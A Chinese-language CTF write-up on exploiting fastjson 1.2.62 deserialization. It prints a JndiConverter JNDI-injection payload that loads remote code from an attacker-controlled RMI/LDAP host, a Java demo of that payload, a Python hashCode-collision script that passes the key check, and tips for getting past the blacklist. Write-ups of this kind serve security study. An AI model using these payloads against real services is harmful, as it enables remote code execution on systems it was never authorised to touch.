0x01 前言

今天也来看一道关于fastjson的题目,不同于之前复现的题,蓝帽杯的这道更纯粹的考察fastjson的反序列化,而且是在开启AutoTypeSupport的情况下,题目难度也不是太高,但是也有很多需要学习的点。

0x02 题目分析

主要就两个类

secret

生成十六位的随机字符串,定义了一个getter方法返回字符串。重点还是路由

JSONController

定义了一个跟路由,返回一个随机key。定义一个json路由,第一层if判断

if (str != null &&
Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str))

有点熟悉啊,有点神似php里的hash碰撞,但是不是一样的东西。这个if判断的意思就是两个不同字符串的hash值要相等,毋庸置疑,肯定是有的,问题是怎么找到,后面会讲。

第二个if就是一个黑名单,限制了用户的输入,它开启了AutoTypeSupport开关,最后就是parseObject函数对用户传进来的json进行fastjson反序列化。

0x03 题目复现

查看pom里有啥依赖

需要我们注意的就这两个,fastjson是1.2.62版本的,百度一下有没有可以打的payload。一搜还真有,还是CVE。

网上搜的payload:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://vps/Evil"}

恰好这个恶意类就在下面这个xbean的依赖里,确信就是这个啦。

JndiConverter

跟进源码看一下

很明显,存在JNDI注入。在往上找找有谁可以调用toObjectImpl方法,AsText属性还没有看到,肯定在父类,跟进看一下

AbstractConverter

setter方法里调用了toObject方法

调用了目的方法。参数也可控,逻辑很简单,感觉没什么好说的。自己写一个demo测试payload发现可以弹出计算器

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.xbean.propertyeditor.JndiConverter;

public class AttackWp {
public static void main(String[] args){
String s = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:8085/FxzcrxXy\"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(s);
}
}

好奇它是怎么绕过checkAutoType方法的,跟进看一下

前面的都差不多

看这里,设置两个十六进制数,对classname的第一个字符和最后一个字符分别异或再相乘,可以把它看作一种hash运算,可以类似于一种黑名单检测,继续往下走

autoTypeSupport是开启的,所以会走到这个if分支里,它从第四位开始,对classname的每一个字符进行hash运算,然后查找它是不是在期望类里。如果是,类加载。如果不是,判断是否在黑名单中,这些都不满足,所以往下走

来到这里,AutoTypeSupport开启,所以会走到这个if分支里,完成类的加载。之前都是从各种缓存里找,也找不到。

最后也是绕过一些异常,添加缓存,返回clazz

hash问题

执行命令的payload也有了,那么就剩下绕过两个if了。

看一下hashCode方法的内部逻辑

翻译过来就是

HashCode(S)=S[0]∗31^n−1+S[1]∗31^n−2+...+S[n−2]∗31+S[n−1]

在网上找到相关的文章,其中是这么说的

将第一个字母-1,第二个字母+31,就可以满足hash值相等

from urllib import parse

while 1:
key = input("#")
print(parse.quote(chr(ord(key[0]) - 1) + chr(ord(key[1]) + 31) + key[2::]))

另一个黑名单的问题,可以用unicode编码或者%0a换行绕过

复现

访问根路由获取key

利用脚本生成相同hash值的字符串

配置好反连

burp发包,弹出计算器